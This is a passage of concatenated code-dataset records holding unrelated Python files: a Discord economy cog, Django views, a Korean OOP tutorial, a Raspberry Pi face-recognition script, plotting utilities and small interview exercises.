centralbank.json\n\n        Input:  discord.User\n        Output: (Bool) False if user already exist in the bank, returns True if/once the user has an account in the bank\n        \"\"\"\n\n        users = await self.get_bank_data()\n\n        if str(user.id) in users:\n            return False\n        else:\n            users[str(user.id)] = {}\n            users[str(user.id)][\"pouch\"] = 0\n            users[str(user.id)][\"bank\"] = 0\n\n        with open('centralbank.json', 'w') as file:\n            json.dump(users, file)\n        \n        return True\n\n    async def get_bank_data(self):\n        \"\"\" Helper function, gets all the entries in the centralbank.json\n\n        Input:  None\n        Output: (Dict) all user centralbank accounts\n        \"\"\"\n\n        with open('centralbank.json', 'r') as file:\n            users = json.load(file)\n        return users\n\n    async def get_user_pouch_value(self, user):\n        \"\"\" Helper function, gets a specific user's pouch value\n\n        Input:  discord.User\n        Output: (Int) pouch value of user\n        \"\"\"\n\n        with open('centralbank.json', 'r') as file:\n            users = json.load(file)\n        return users[str(user.id)][\"pouch\"]\n\ndef setup(bot):\n    bot.add_cog(Economy(bot))","sub_path":"cogs/economy.py","file_name":"economy.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"163324799","text":"import os\nimport datetime\nimport hashlib\nimport re\nimport tempfile\nfrom contextlib import contextmanager\nfrom szurubooru.errors import ValidationError\n\n@contextmanager\ndef create_temp_file(**kwargs):\n    (handle, path) = tempfile.mkstemp(**kwargs)\n    os.close(handle)\n    try:\n        with open(path, 'r+b') as handle:\n            yield handle\n    finally:\n        os.remove(path)\n\ndef unalias_dict(input_dict):\n    output_dict = {}\n    for key_list, value in input_dict.items():\n        if isinstance(key_list, str):\n            key_list = [key_list]\n        for key in key_list:\n            output_dict[key] = value\n    return output_dict\n\ndef get_md5(source):\n    if not isinstance(source, bytes):\n        source = source.encode('utf-8')\n    md5 = hashlib.md5()\n    md5.update(source)\n    return md5.hexdigest()\n\ndef flip(source):\n    return {v: k for k, v in source.items()}\n\ndef is_valid_email(email):\n    ''' Return whether given email address is valid or empty. '''\n    return not email or re.match(r'^[^@]*@[^@]*\\.[^@]*$', email)\n\nclass dotdict(dict): # pylint: disable=invalid-name\n    ''' dot.notation access to dictionary attributes. '''\n    def __getattr__(self, attr):\n        return self.get(attr)\n    __setattr__ = dict.__setitem__\n    __delattr__ = dict.__delitem__\n\ndef parse_time_range(value, timezone=datetime.timezone(datetime.timedelta())):\n    ''' Return tuple containing min/max time for given text representation. '''\n    one_day = datetime.timedelta(days=1)\n    one_second = datetime.timedelta(seconds=1)\n\n    value = value.lower()\n    if not value:\n        raise ValidationError('Empty date format.')\n\n    if value == 'today':\n        now = datetime.datetime.now(tz=timezone)\n        return (\n            datetime.datetime(now.year, now.month, now.day, 0, 0, 0),\n            datetime.datetime(now.year, now.month, now.day, 0, 0, 0) \\\n                + one_day - one_second)\n\n    if value == 'yesterday':\n        now = datetime.datetime.now(tz=timezone)\n        return (\n            datetime.datetime(now.year, now.month, now.day, 0, 0, 0) - one_day,\n            datetime.datetime(now.year, now.month, now.day, 0, 0, 0) \\\n                - one_second)\n\n    match = re.match(r'^(\\d{4})$', value)\n    if match:\n        year = int(match.group(1))\n        return (\n            datetime.datetime(year, 1, 1),\n            datetime.datetime(year + 1, 1, 1) - one_second)\n\n    match = re.match(r'^(\\d{4})-(\\d{1,2})$', value)\n    if match:\n        year = int(match.group(1))\n        month = int(match.group(2))\n        return (\n            datetime.datetime(year, month, 1),\n            datetime.datetime(year, month + 1, 1) - one_second)\n\n    match = re.match(r'^(\\d{4})-(\\d{1,2})-(\\d{1,2})$', value)\n    if match:\n        year = int(match.group(1))\n        month = int(match.group(2))\n        day = int(match.group(3))\n        return (\n            datetime.datetime(year, month, day),\n            datetime.datetime(year, month, day + 1) - one_second)\n\n    raise ValidationError('Invalid date format: %r.' % value)\n\ndef icase_unique(source):\n    target = []\n    target_low = []\n    for source_item in source:\n        if source_item.lower() not in target_low:\n            target.append(source_item)\n            target_low.append(source_item.lower())\n    return target\n\ndef value_exceeds_column_size(value, column):\n    if not value:\n        return False\n    max_length = column.property.columns[0].type.length\n    if max_length is None:\n        return False\n    return len(value) > max_length\n","sub_path":"server/szurubooru/func/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"193376390","text":"from django.contrib.auth.decorators import login_required , permission_required\nfrom django.shortcuts import render , redirect , get_object_or_404\n\nimport isyeriekle\nfrom login.views import login_view\nfrom .forms import isyeriForm\nfrom .models import isyeri\n\n\n@login_required(login_url=login_view)\ndef isyeriekle_view(request):\n    listele = isyeri.objects.all().order_by('pk')\n    return render(request , 'isyeriekle/views.html' , {'listele': listele})\n\n\n@login_required(login_url=login_view)\ndef isyeriekle_detail(request , pk):\n    liste = get_object_or_404(isyeri , id=pk)\n    context = {'liste': liste}\n    return render(request , 'isyeriekle/create.html' , context)\n\n\n@login_required(login_url=login_view)\n@permission_required('isyeriekle.add_isyeri',login_url=isyeriekle_view)\ndef isyeriekle_create(request):\n    create = isyeriForm(request.POST or None , request.FILES or None)\n    context = {'create': create}\n    if request.method == \"POST\":\n        if create.is_valid():\n            a = create.save(commit=False)\n            a.Olusturan = request.user\n            a.save()\n            return redirect('isyeriekle_view')\n    return render(request , 'isyeriekle/create.html' , context)\n\n\n@login_required(login_url=login_view)\n@permission_required('isyeriekle.change_isyeri',login_url=isyeriekle_view)\ndef isyeri_update(request , pk):\n    liste = get_object_or_404(isyeri , id=pk)\n    create = isyeriForm(request.POST or None , request.FILES or None , instance=liste)\n    if create.is_valid():\n        create.save()\n        return redirect('isyeriekle_view')\n    context = {'create': create}\n    return render(request , 'isyeriekle/create.html' , context)\n\n@login_required(login_url=login_view)\n@permission_required('isyeriekle.delete_isyeri',login_url=isyeriekle_view)\ndef isyeriekle_delete(request , pk):\n    liste = isyeri.objects.get(id=pk)\n    #   if User.groups.name('Yetkili'):\n    liste.delete()\n    context = {'liste': liste}\n    return redirect('isyeriekle_view')\n","sub_path":"Desktop/yayın/isyeriekle/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"164476013","text":"\n\"\"\"\n03_추상화잘하기.py 에서 추상화 잘하는 법에 대해서 봤습니다. \n                        클래스, 변수, 메소드 이름 잘 짓기.\n\n하지만 이름 짓기에도 한계가 있으니 이럴때 유용한 방법이 바로 문서화이다. \n\nA클래스는 ~~~를 위해 만들어 졌습니다. 이렇게 저렇게 사용하세요. \n\nB변수는 인스턴스 변수로 실수형입니다. \n\nC메소드는 잔액 인스턴스 변수 balance를 파라미터로 amount만큼 늘려주는 메소드 입니다. \n\n즉 지금 이렇게 노랗게 글자가 표현 된걸 Doc string(문서화)라고도 한다. \n\"\"\"\n\n\"\"\"\n추상화를 잘하려면 어떻게 해야 할까요?\n\n일단 먼저 이름을 잘 지어야 합니다. 그래야 해당 변수가 어떤 역할을 하는지 쉽게 파악 할 수 있습니다. \n\n아래 클래스는 이름을 제대로 짓지 못한 예시입니다. \n과연 어디에 쓰이는 것일 까요?\n\"\"\"\n\n# class SomeClass: \n#     class _variable = 0.02\n\n#     def __init__(self, variable_1, variable_2):\n#         self.variable_1 = variable_1\n#         self.variable_2 = variable_2\n\n#     def method_1(self, some_vale):\n#         self.variable_2 += some_value\n    \n#     def method_2(self, some_vale):\n#         if self.variable_2 < some_value:\n#             print(\"Insufficient balance!\")\n#         else: \n#             self.variable_2 -= some_value\n    \n#     def method_3(self, some_vale):\n#         self.variable_2 *= 1 + SomeClass.class_value\n\n   \nclass BankAccout: \n    \"\"\" 은행 계좌 클래스 \"\"\"\n    interest = 0.02\n\n    def __init__(self, owner_name, balance):\n        \"\"\"인스턴스 변수: name(문자열), balance(실수형)\"\"\"\n        self.owner_name = owner_name\n        self.balance = balance\n\n    def deposit(self, amount):\n        \"\"\" 잔액 인스턴스 변수 balance를 파라미터 amount만큼 늘려주는 메소드\"\"\"\n        self.balance += amount\n    \n    def withdrow(self, amount):\n        \"\"\" 잔액 인스턴스 변수 balance를 파라미터 amount만큼 줄이는 메소드\"\"\"\n        if self.balance < amount:\n            print(\"Insufficient balance!\")\n        else: \n            self.balance -= amount\n    \n    def add_interest(self):\n        \"\"\" 잔액 인스턴스 변수 balance를 이자율만큼 늘려주는 메소드\"\"\"\n        self.balance *= 1 + BankAccout.interest\n\nex_account = BankAccout('홍길동', 1000)\n\nex_account.add_interest()\nprint(ex_account.balance)\n\nex_account.deposit(500)\nprint(ex_account.balance)\n\nex_account.withdrow(2000)\nex_account.withdrow(1000)\nprint(ex_account.balance)\n\n\"\"\" 유용한 꿀팀! help()를 통해서 해당 모듈의 이름을 넣으면 docstring을 볼수 있습니다.\"\"\"\n\n","sub_path":"파이썬/객체지향프로그래밍/객체지향프로그래밍이란/OOP_4개의기둥/추상화/04_추상화더잘.py","file_name":"04_추상화더잘.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"36999449","text":"# -*- coding: utf-8 -*-\n# <nbformat>4</nbformat>\n\n# <codecell> {}\n\nimport pandas as pd\n\n# <codecell> {}\n\ndef how_many_hours(num_weeks, dedicated_weekly_hours):\n    return num_weeks * dedicated_weekly_hours\n\n# <markdowncell> {}\n\n# ### 3 months is roughly 13 weeks, thank you Google.\n# ### 4 weeks is... 4 weeks, duh.\n\n# <codecell> {}\n\nexpected_weekly_hours = 10 # 2 per weekday\n\nclass1_hours_needed = how_many_hours(13, expected_weekly_hours)\nclass2_hours_needed = how_many_hours(4, expected_weekly_hours)\n\n# <markdowncell> {}\n\n# ### So class1 requires 130 hours to complete and class2 requires 40 hours to complete.\n\n# <codecell> {}\n\nclass1_hours_needed, class2_hours_needed\n\n# <markdowncell> {}\n\n# ### I've created a dataframe that holds these total hours until completion so I can...\n\n# <codecell> {}\n\nhour_tracker = pd.DataFrame(data=[class1_hours_needed, class2_hours_needed], \n                            columns=['total_hours'],\n                            index=['class1','class2'])\n\n# <markdowncell> {}\n\n# ### show y'all how many weeks each class will take if you contribute 1 to 7 hours per day (5 days a week)\n\n# <codecell> {}\n\ndays_per_week = 5\nfor x in range(1,7):\n    # recreate the column name each time\n    col_name = 'weeks_at_{}hpd'.format(x)\n    \n    # divide the total_hours by the days_per week set above and by our x (number of hours committed.)\n    # this could also be written as hour_tracker['total_hours]/(days_per_week*x), thank you algebra.\n    hour_tracker[col_name] = hour_tracker['total_hours']/days_per_week/x\n    \n# purely aesthetic, this is just more readable\nhour_tracker = hour_tracker.T.astype(int)\n\n# <markdowncell> {}\n\n# # Assuming 5 days a week\n# #### Let hpd mean hours per day\n\n# <codecell> {}\n\nhour_tracker\n\n# <markdowncell> {}\n\n# # Let's make this into a function\n\n# <codecell> {}\n\n# We input udacity's 'timeline' weeks (if months, multiply by 4 or use unit='months'),\n# the number of days per week we can commit to,\n# and the number of hours per day we can commit to...\n# Out pops how many weeks it will take to complete!\ndef how_many_weeks_needed(udacity_time, udacity_unit, days_per_week, hours_per_day):\n    # If we put in months, make it weeks\n    if udacity_unit == 'months':\n        udacity_weeks = udacity_time * 4\n        \n    # Since each class is expecting 5 days a week, 2 hours a day: \n    total_class_hours = udacity_weeks * 10\n    \n    # We calculate how many hours a week we can contribute:\n    hours_per_week = hours_per_day * days_per_week\n    \n    # We divide the total by how many hours per week we're committing:\n    how_many_weeks = total_class_hours / hours_per_week\n    \n    return how_many_weeks\n\n# <markdowncell> {}\n\n# ### For class 1, which expects 3 months of time...\n# #### At 4 days per week with 2 hours_per_day:\n\n# <codecell> {}\n\nhow_many_weeks_needed(udacity_time = 3, \n                      udacity_unit = 'months',\n                     days_per_week = 4, \n                     hours_per_day = 2)\n\n# <codecell> {}\n\n\n\n# <metadatacell>\n\n{\"kernelspec\": {\"display_name\": \"Python 2\", \"name\": \"python2\", \"language\": \"python\"}}","sub_path":"HowLongToCompleteUdacityCourse.py","file_name":"HowLongToCompleteUdacityCourse.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"624912423","text":"\nimport cv2\nimport MySQLdb\nimport numpy as np\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport threading\nimport RPi.GPIO as GPIO\nimport requests\nfrom PIL import Image\nimport os, sys\n\n\n# GPIO Inicio\nPin_Known_Person = 18\nPin_Unknown_Person = 24\nPin_Button = 25\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(Pin_Known_Person, GPIO.OUT)\nGPIO.setup(Pin_Unknown_Person, GPIO.OUT)\nGPIO.setup(Pin_Button, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n#Confianza minima\nmin_conf = 42\n\n#Crear LBPH para reconocimiento de cara\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\n\n\n\n#Cargar modelo previo de cara frontal\ncascadePath = \"/home/pi/opencv-3.4.0/data/haarcascades/haarcascade_frontalface_default.xml\"\n\n#URL\nrutaImagenes = 'http://192.168.1.11/tesis/imgReceived.php'\n\n#Crear clasificador de modelo previo\nface_cascade = cv2.CascadeClassifier(cascadePath)\n\n\n# Colocar el estilo de fondo\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\ncamera = PiCamera()\ncamera.resolution = (1280, 720)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(1280, 720))\n\n#Permitir a la camara iniciar\ntime.sleep(0.1)\n\n\n#Devuelve los datos de la persona, cuyo id sea solicitado\ndef getProfile(id):\n    db = MySQLdb.connect(host=\"192.168.1.11\", user=\"root\", passwd=\"\", db=\"tesis_sistemadeseguridad\")\n    cur = db.cursor()\n    cur.execute(\"SELECT * FROM tesis_sistemadeseguridad.empleado WHERE id=\" + str(id))\n    profile = None\n    for row in cur:\n        profile = row\n    # Cerrar el cursor\n    cur.close()\n    # Cerrar la coneccion\n    db.close()\n    return profile\n\n\n#Se envio la captura de la persona desconocida al sistema de ficheros\ndef envioImagen(img):\n    cv2.imwrite(\"temporal/Desconocido\" + \".jpg\", img)\n    files = {'file': open('temporal/Desconocido.jpg', 'rb')}\n    r = requests.post(rutaImagenes, files=files)\n    print(r.text)\n    os.remove(\"temporal/Desconocido.jpg\")\n\n\n#Se hace el procedimiento de reconocer a una persona\ndef sistemaReconocimiento():\n\n    counter_validation = 0\n    inicio = time.time()\n    \n    for frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n        \n        image = frame.array\n        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n        faces = face_cascade.detectMultiScale(gray, 1.1, 5)\n\n        for (x, y, w, h) in faces:\n            # Crear un ractangulo alrededor de la cara\n            cv2.rectangle(image, (x - 20, y - 20), (x + w + 20, y + h + 20), (0, 255, 0), 4)\n\n            # Reconocer a cual id pertenece la cara\n            Id, conf = recognizer.predict(gray[y:y+h,x:x+w])\n            print(conf)\n            print(Id)\n            cv2.rectangle(image, (x - 22, y - 90), (x + w + 22, y - 22), (255, 0, 0), -1)\n            #Si es menor la confianza al limite establecido se busca el usuario en la base de datos\n            if conf < min_conf:\n                counter_validation = 0\n                #Se entra al metodo getProfile\n                profile = getProfile(Id)\n                conf = \"  {0}%\".format(round(100 - conf))\n\n                # Colocamos texto de quien es la persona\n                cv2.putText(image, str(profile[1]), (x, y - 40), font, 2, (255, 255, 255), 3)\n                cv2.putText(image, str(profile[2]), (x, y + 50), font, 2, (255, 255, 255), 3)\n                cv2.putText(image, str(conf), (x -60, y - 90 ), font, 2, (255, 255, 255), 3)\n                if counter_validation_ok == 3:\n                    GPIO.output(Pin_Unknown_Person, GPIO.LOW)\n                    GPIO.output(Pin_Known_Person, GPIO.HIGH)\n                    counter_validation_ok = 0\n                    \n            else:\n                Id = \"Desconocido\"\n                cv2.rectangle(image, (x - 22, y - 90), (x + w + 22, y - 22), (255, 0, 0), -1)\n                cv2.putText(image, str(Id), (x, y - 40), font, 2, (255, 255, 255), 3)\n                counter_validation += 1\n                print(\"counter: \" + str(counter_validation))\n                #Si el incremento llega a la condicion establecida se entra aqui, el incremento se tiene para vitar falsos positivos\n                if counter_validation == 5:\n                    GPIO.output(Pin_Known_Person, GPIO.LOW)\n                    GPIO.output(Pin_Unknown_Person, GPIO.HIGH)\n                    #Se entra a la funcion envioImagen\n                    envioImagen(gray[y:y + h, x:x + w])\n                    counter_validation = 0\n\n        #Se muestra el cuadro actual con el cuadro dibujado\n        cv2.imshow(\"Frame\", image)\n        key = cv2.waitKey(1) & 0xFF\n\n        fin = time.time() - inicio\n\n        #Se borra el cuadro anterior para asi mostrar el siguiente\n        rawCapture.truncate(0)\n\n        #Si se oprime una tecla \"q\" o pasan mas de 30 segundos se sale del ciclo\n        if key == ord(\"q\") or fin > 30:\n            GPIO.output(Pin_Known_Person, GPIO.LOW)\n            GPIO.output(Pin_Unknown_Person, GPIO.LOW)\n            break\n\n    cv2.destroyAllWindows()\n\n\n\n\nwhile True:\n    entrada = GPIO.input(Pin_Button)\n    #Se espera a que el boton sea presionado\n    #if entrada == False:\n        # Se carga el trainer y se entra a la funcion sistemaReconocimiento\n        #recognizer.read('trainer/trainer.yml')\n    time.sleep(5)\n    recognizer.read('trainer/trainer.xml')\n        #print('Button Pressed')\n    sistemaReconocimiento()\n        \n","sub_path":"face_reconigtionConectionT.py","file_name":"face_reconigtionConectionT.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"343440110","text":"\n\nfrom xai.brain.wordbase.verbs._remove import _REMOVE\n\n#calss header\nclass _REMOVING(_REMOVE, ):\n\tdef __init__(self,): \n\t\t_REMOVE.__init__(self)\n\t\tself.name = \"REMOVING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"remove\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_removing.py","file_name":"_removing.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"256571702","text":"#Developed By Nalin Ahuja, nalin.ahuja@abzooba.com\n\nimport plotly.graph_objs as go\nimport numpy as np\n\nimport xpresso.ai.core.data.visualization.res.utils as utils\nfrom xpresso.ai.core.data.visualization.res.plot_types import diagram\n#End Imports-------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nclass new_plot(diagram):\n    def __init__(self, input_1, input_2,plot_title = None, zero_filter =\n    False, name = None, output_format = utils.HTML, output_path = None, auto_render = False):\n        #Add Style to Plot\n        self.style_plot()\n        if plot_title is not None:\n            self.set_labels_manual(plot_label=plot_title)\n        #Convert Inputs to Lists\n        input_1 = (np.array(input_1).tolist())\n        input_2 = (np.array(input_2).tolist())\n        #Check Input Types\n        if (type(input_1) is list) and (type(input_2) is list):\n            #Set List Values\n            self.x_axis_values = input_1\n            self.y_axis_values = input_2\n\n            #Return Error on Differing List Lengths\n            if (not((len(self.x_axis_values) == len(self.y_axis_values)))):\n                print(\"ERROR: Differing list lengths!\")\n                utils.halt()\n            else:\n                #Process Filter Argument\n                self.filter_data(zero_filter, self.x_axis_values, self.y_axis_values)\n\n                # Process Set Arguments\n                if (not (name is None)):\n                    self.set_name(name)\n                if (not (output_path is None)):\n                    self.output_path = output_path\n                if (auto_render):\n                    self.render(output_format=output_format, auto_open=True,\n                                output_path=output_path)\n\n        elif (type(input_1) is dict) and (type(input_2) is str):\n            self.x_axis_values = []\n            self.y_axis_values = []\n\n            #Convert Dict to Lists\n            for key in input_1:\n                if (input_2 == \"KEY_X\"):\n                    self.x_axis_values.append(key)\n                    self.y_axis_values.append(input_1[key])\n                elif (input_2 == \"KEY_Y\"):\n                    self.x_axis_values.append(input_1[key])\n                    self.y_axis_values.append(key)\n                else:\n                    #Return Error on Invalid Flag\n                    print(\"ERROR: Invalid conversion flag!\")\n                    utils.halt()\n\n            #Process Filter Argument\n            self.filter_data(zero_filter, self.x_axis_values, self.y_axis_values)\n\n            #Process Set Arguments\n            if (not(name is None)):\n                self.set_name(name)\n            if (not(output_path is None)):\n                self.output_path = output_path\n            if (auto_render):\n                self.render(output_format = output_format, auto_open = True,\n                            output_path=output_path)\n        else:\n            #Return Error on Invalid Input\n            print(\"ERROR: Invalid Input Type!\")\n            utils.halt()\n\n    #End Object Constructor----------------------------------------------------------------------------------------------------------------------------------------------------\n\n    def style_plot(self):\n        #Apply Default Style to Plot\n        self.apply_default_style()\n\n        #Apply Custom Style to Plot\n        self.marker = None\n\n    #End Style Application Function--------------------------------------------------------------------------------------------------------------------------------------------\n\n    def set_graph_color(self, color = None):\n        if (not(color is None)):\n            color_arr = []\n\n            #Set Color List with Specified Color\n            for i in range(0, len(self.x_axis_values)):\n                color_arr.append(color)\n\n            #Set Marker with color_arr\n            self.marker = dict(color = color_arr)\n\n    def show_extrema(self, extrema_type):\n        #Check for Valid Input\n        if (extrema_type == str(\"MIN\") or extrema_type == str(\"MAX\") or extrema_type == str(\"ALL\")):\n            color_arr = []\n\n            #Color List\n            std_highlight = 'rgba(204,204,204,1)'\n            min_highlight = 'rgba(222,45,38,0.8)'\n            max_highlight = 'rgba(38,222,44,0.8)'\n\n            #Apply Neutral Color Style\n            for i in range(0, len(self.x_axis_values)):\n                color_arr.append(std_highlight)\n\n            #Find Min/Max and Assign Colors\n            if (extrema_type == str(\"min\")):\n                color_arr[self.y_axis_values.index(min(self.y_axis_values))] = min_highlight\n            elif (extrema_type == str(\"max\")):\n                color_arr[self.y_axis_values.index(max(self.y_axis_values))] = max_highlight\n            elif (extrema_type == str(\"both\")):\n                color_arr[self.y_axis_values.index(max(self.y_axis_values))] = max_highlight\n                color_arr[self.y_axis_values.index(min(self.y_axis_values))] = min_highlight\n\n            #Set Marker with color_arr\n            self.marker = dict(color = color_arr)\n        else:\n            #Return Error on Invalid Flag\n            print(\"ERROR: Invalid higlight flag!\")\n            utils.halt()\n\n    #End Custom Style Functions------------------------------------------------------------------------------------------------------------------------------------------------\n\n    def process(self,output_format):\n\n        if output_format is utils.PNG or output_format is utils.PDF:\n            #Generate Plot Layout and config for saved plots\n            plot_data = go.Bar(x = self.x_axis_values, y = self.y_axis_values,\n                               hovertemplate = self.hover_tool, marker =\n                               self.marker, name = self.graph_name,text =\n                               self.y_axis_values,textposition='auto')\n        else:\n            plot_data = go.Bar(x = self.x_axis_values, y = self.y_axis_values,\n                           hovertemplate = self.hover_tool, marker =\n                           self.marker, name = self.graph_name)\n\n\n        plot_layout = go.Layout(autosize = True, width =self.plot_width,\n                                height = self.plot_height, paper_bgcolor = str(self.bg_color), plot_bgcolor = str(self.plot_color),\n                                title = self.plot_title, xaxis = self.x_axis_title, yaxis = self.y_axis_title,\n                                margin = go.layout.Margin(l = int(self.left), r = int(self.right), b = int(self.bottom), t = int(self.top), pad = int(self.padding)))\n\n\n        return {'data': [plot_data], 'layout': plot_layout}\n\n    def render(self, output_format = utils.HTML, output_path = None, auto_open = True):\n        self._render_single_plot(__name__, output_format = output_format, output_path = output_path, auto_open = auto_open)\n\n    #End Generation/Rendering Functions----------------------------------------------------------------------------------------------------------------------------------------\n\n#End Graph Class---------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nclass join_plots(diagram):\n    def __init__(self, plots, group_type, output_format = utils.HTML, output_path = None, auto_render = False):\n        #Apply Def Style to Plot\n        self.apply_default_style()\n\n        #Check Input Types\n        if (type(plots) is list and type(group_type) is str):\n            self.multi_plots = []\n\n            #group_type options ('stack', and 'group')\n            if (group_type == \"s\"):\n                self.bar_plot_type = \"stack\"\n            elif (group_type == \"g\"):\n                self.bar_plot_type = \"group\"\n            else:\n                #Return Error on Improper Flag\n                print(\"ERROR: Improper Grouping Flag!\")\n                utils.halt()\n\n            #Strip off styling from plots\n            for plot in plots:\n                self.multi_plots.append(plot.process()['data'][0])\n\n            #Process Set Arguments\n            if (not(output_path is None)):\n                self.output_path = output_path\n            if (auto_render):\n                self.render(output_format = output_format, auto_open = True)\n        else:\n            #Return Error on Invalid Input\n            print(\"ERROR: Invalid Input Type!\")\n            utils.halt()\n\n    #End Object Constructor----------------------------------------------------------------------------------------------------------------------------------------------------\n\n    def generate_layout(self):\n        plot_layout = go.Layout(autosize = True, width = self.plot_width, height = self.plot_height,\n                                paper_bgcolor = str(self.bg_color), plot_bgcolor = str(self.plot_color),\n                                title = self.plot_title, xaxis = self.x_axis_title, yaxis = self.y_axis_title, barmode = self.bar_plot_type,\n                                margin = go.layout.Margin(l = int(self.left), r = int(self.right), b = int(self.bottom), t = int(self.top), pad = int(self.padding)))\n\n        return plot_layout\n\n    def render(self, output_format = utils.HTML, output_path = None, auto_open = True):\n        self._render_multi_plot(__name__, output_format = output_format, output_path = output_path, auto_open = auto_open)\n\n    #End Generation/Rendering Functions----------------------------------------------------------------------------------------------------------------------------------------\n\n#End Join Class----------------------------------------------------------------------------------------------------------------------------------------------------------------\n","sub_path":"data/visualization/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":9775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"89684125","text":"\nfrom typing import List\n\nfrom Helpers import helper as hlp\nfrom Helpers import test_class\nfrom Helpers import profiler as prof\nimport collections\n\nclass Solution(test_class.test_class):\n\n    def setUp(self):\n        super().setUp()\n\n    def getMaxPaths2(self, arr):\n        dic, res = {}, None\n        for c in arr:\n            c1, c2 = c[0], c[1]\n            dic.setdefault(c1, set()).add(c2)\n            dic.setdefault(c2, set()).add(c1)\n\n        max_sum = 0\n        for c in arr:\n            c1_links, c2_links = len(dic[c[0]]), len(dic[c[1]])\n            pair_sum = c1_links + c2_links\n            if pair_sum > max_sum:\n                max_sum = max(max_sum, pair_sum)\n                res = c\n        return res\n\n    def getMaxPaths2(self, A, B, N):\n        if not A or not B:\n            return 0\n        dic = {}\n        for i in range(N):\n            c1, c2 = A[i], B[i]\n            dic.setdefault(c1, set()).add(c2)\n            dic.setdefault(c2, set()).add(c1)\n\n        max_sum = 0\n        for i in range(N):\n            c1_links, c2_links = len(dic[A[i]]), len(dic[B[i]])\n            pair_sum = c1_links + c2_links\n            if pair_sum > max_sum:\n                max_sum = max(max_sum, pair_sum)\n        return max_sum - 1\n\n    def getMaxPaths(self, A, B, N):\n        if not A or not B:\n            return 0\n        dic = {}\n        for i in range(len(A)):\n            c1, c2 = A[i], B[i]\n            dic.setdefault(c1, 0)\n            dic[c1] += 1\n            dic.setdefault(c2, 0)\n            dic[c2] += 1\n\n        max_sum = 0\n        for i in range(len(A)):\n            pair_sum = dic[A[i]] + dic[B[i]]\n            if pair_sum > max_sum:\n                max_sum = max(max_sum, pair_sum)\n        return max_sum - 1\n\n    def test_1(self):\n        self.assertEqual([3,5], self.getMaxPaths([[1,2],[3,4],[3,5],[5,6],[5,7],[2,3]]))\n\n    def test_1(self):\n        self.assertEqual(4, self.getMaxPaths([1,2,3,3],[2,3,1,4],4))","sub_path":"Interview_MSFT/Max_paths_cities.py","file_name":"Max_paths_cities.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"367825883","text":"import tkinter as Tk\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom collections import Counter\nfrom tkinter import filedialog\n\ntry:\n    import joypy\nexcept ModuleNotFoundError:\n    print(\"Joypy not installed....\")\n    print(\"Installing it now.....\")\n    import pip\n\n    if hasattr(pip, 'main'):\n        pip.main(['install', package])\n    else:\n        pip._internal.main(['install', package])\n\nroot = Tk.Tk()\nroot.title(\"AA Propensity\")\nroot.geometry(\"400x200\")\n\ndef dipeptide_encoding(seq, n):\n    \"\"\"\n    Returns n-Gram Motif frequency\n    https://www.biorxiv.org/content/10.1101/170407v1.full.pdf\n    \"\"\"\n    aa_list = list(seq)\n    return {''.join(aa_list): n for aa_list, n in Counter(zip(*[aa_list[i:] for i in range(n)])).items() if\n            not aa_list[0][-1] == (',')}\n\ndef get_cmap():\n    cmap = plt.cm.jet  # define the colormap\n    # extract all colors from the .jet map\n    cmaplist = [cmap(i) for i in range(cmap.N)]\n    # force the first color entry to be grey\n    cmaplist = cmaplist[1:]\n\n    # create the new map\n    cmap = mpl.colors.LinearSegmentedColormap.from_list(\n        'Custom cmap', cmaplist, cmap.N)\n    return cmap\n\ndef get_filename():\n    root.filename = filedialog.askopenfilename(title=\"Select a CSV file\")#, filetypes = ((\"CSV files\", \"*.csv\")))\n    return root.filename\n\n\ndef graph():\n    fname = get_filename()\n    data = pd.read_csv(fname)\n    to_drop = [i for i, s in enumerate(data.Sequence) if ' ' in s]\n    data = data.drop(to_drop, axis=0)\n    seq_vec = data.Sequence.apply(lambda x: dipeptide_encoding(x, 1)).to_list()\n    df = pd.DataFrame(seq_vec)\n    df = df.fillna(0)\n    \n    cmap = get_cmap()\n    df = df.sort_index(axis=1)\n\n    fig, axes = joypy.joyplot(df, column=list(df.columns), figsize=(8, 8), fade=True, colormap=cmap,\n                          x_range=range(int(df.quantile(0.90).max())), grid=True, ylabelsize=15)\n    plt.show()\n\n\nfm = Tk.Frame(root)\n\nbutton_group = Tk.Frame(fm)\nTk.Button(fm, text='Plot', width=7,\n          command=graph).pack(side=Tk.BOTTOM)\nbutton_group.pack(side=Tk.TOP)\n        